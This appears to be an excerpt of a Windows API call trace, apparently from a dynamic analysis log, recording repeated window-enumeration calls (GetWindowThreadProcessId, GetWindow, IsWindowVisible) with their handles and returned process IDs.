[0280.301] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.302] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0280.302] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.302] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0280.302] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.302] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0280.302] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0280.302] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0280.302] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.302] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0280.302] IsWindowVisible (hWnd=0x102e0) returned 0
[0280.303] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.303] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0280.303] IsWindowVisible (hWnd=0x102e6) returned 0
[0280.303] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.303] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0280.303] IsWindowVisible (hWnd=0x102e2) returned 0
[0280.303] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.303] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0280.303] IsWindowVisible (hWnd=0x102de) returned 0
[0280.303] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.303] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0280.303] IsWindowVisible (hWnd=0x102dc) returned 0
[0280.303] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0280.303] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0280.304] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0280.304] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0280.304] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.304] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.304] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.304] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.304] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.305] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.305] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.305] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.305] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0280.305] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0280.305] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0280.305] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0280.306] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0280.306] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0280.306] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0280.306] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0280.306] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0280.306] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0280.307] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0280.307] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0280.307] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0280.307] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0280.307] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0280.307] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0280.307] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0280.307] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0280.308] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0280.308] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0280.308] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0280.308] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0280.308] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0280.308] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0280.308] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0280.308] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0280.309] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0280.309] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0280.309] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0280.309] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0280.309] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0280.309] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0280.309] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0280.309] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0280.310] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0280.310] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0280.310] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0280.310] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0280.310] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0280.310] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0280.310] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0280.311] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0280.311] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0280.311] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0280.311] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0280.311] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0280.311] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0280.311] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0280.312] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0280.312] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0280.312] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0280.312] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0280.312] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0280.312] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0280.312] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0280.312] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0280.313] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0280.313] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0280.313] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0280.313] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0280.313] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0280.313] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0280.313] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0280.314] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0280.314] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0280.314] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0280.314] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0280.314] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0280.314] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0280.314] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0280.315] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0280.315] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0280.315] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0280.315] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0280.315] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0280.315] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0280.315] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0280.315] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.316] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0280.316] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.316] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0280.316] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.316] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.317] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0280.317] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.317] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.317] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0280.317] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0280.317] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0280.317] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0280.318] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0280.318] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0280.318] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0280.318] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.318] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.318] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0280.318] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0280.318] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.319] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0280.319] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0280.319] GetWindowThreadProcessId (in: hWnd=0x10332, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0280.319] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0280.319] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0280.319] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0280.319] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0280.320] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0280.320] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0280.320] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0280.320] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0280.320] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0280.320] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0280.320] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0280.320] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0280.321] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0280.321] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0280.321] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0280.321] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0280.321] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0280.321] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0280.321] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0280.322] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0280.322] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0280.322] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0280.322] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0280.322] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0280.322] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0280.322] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0280.322] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0280.323] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0280.323] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0280.323] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0280.323] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0280.323] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0280.323] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0280.323] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0280.324] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0280.324] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0280.324] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0280.324] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0280.324] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0280.325] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0280.325] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0280.325] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0280.325] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0280.325] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0280.325] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0280.325] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0280.326] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0280.326] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0280.326] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0280.326] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0280.326] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0280.326] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0280.326] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
